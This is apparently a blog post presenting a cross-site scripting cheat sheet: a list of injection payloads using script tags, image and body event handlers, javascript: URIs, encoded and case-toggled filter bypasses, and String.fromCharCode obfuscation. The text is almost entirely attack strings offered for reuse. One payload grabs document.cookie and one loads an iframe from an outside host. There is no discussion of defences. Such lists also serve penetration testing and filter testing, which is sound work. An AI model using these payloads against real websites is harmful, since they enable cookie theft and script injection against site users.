Cross Site Scripting [ XSS ] Cheat Sheet

Hello, Today I am gonna share some Cross Site Scripts [ Cheat Sheets ] :-



Basic XSS codes:
———————————-
<script>alert(“XSS”)</script>
<script>alert(“XSS”);</script>
<script>alert(‘XSS’)</script>
“><script>alert(“XSS”)</script>
<script>alert(/XSS”)</script>
<script>alert(/XSS/)</script>
When inside Script tag:
———————————
</script><script>alert(1)</script>
‘; alert(1);
‘)alert(1);//
Bypassing with toggle case:
————————————–
 <ScRiPt>alert(1)</sCriPt>
  <IMG SRC=jAVasCrIPt:alert(‘XSS’)>
XSS in Image and HTML tags:
———————————————
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
 <IMG SRC=javascript:alert(‘XSS’)>      
<img src=xss onerror=alert(1)>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=”javascript:alert(‘XSS’)”
<iframe src=http://ha.ckers.org/scriptlet.html <
Bypass the script tag filtering:
————————————————–
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
Using String.fromCharCode function:
—————————————————–
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
‘;alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
You can combine the above mentioned codes and make your own cheat code
Soon, I am gonna share some advanced cheat sheets of Cross Site Scripts. Till then practice these scripts. Have a good day folks...
Cross Site Scripting [ XSS ] Cheat Sheet Cross Site Scripting [ XSS ] Cheat Sheet Reviewed by Unknown on 06:37:00 Rating: 5

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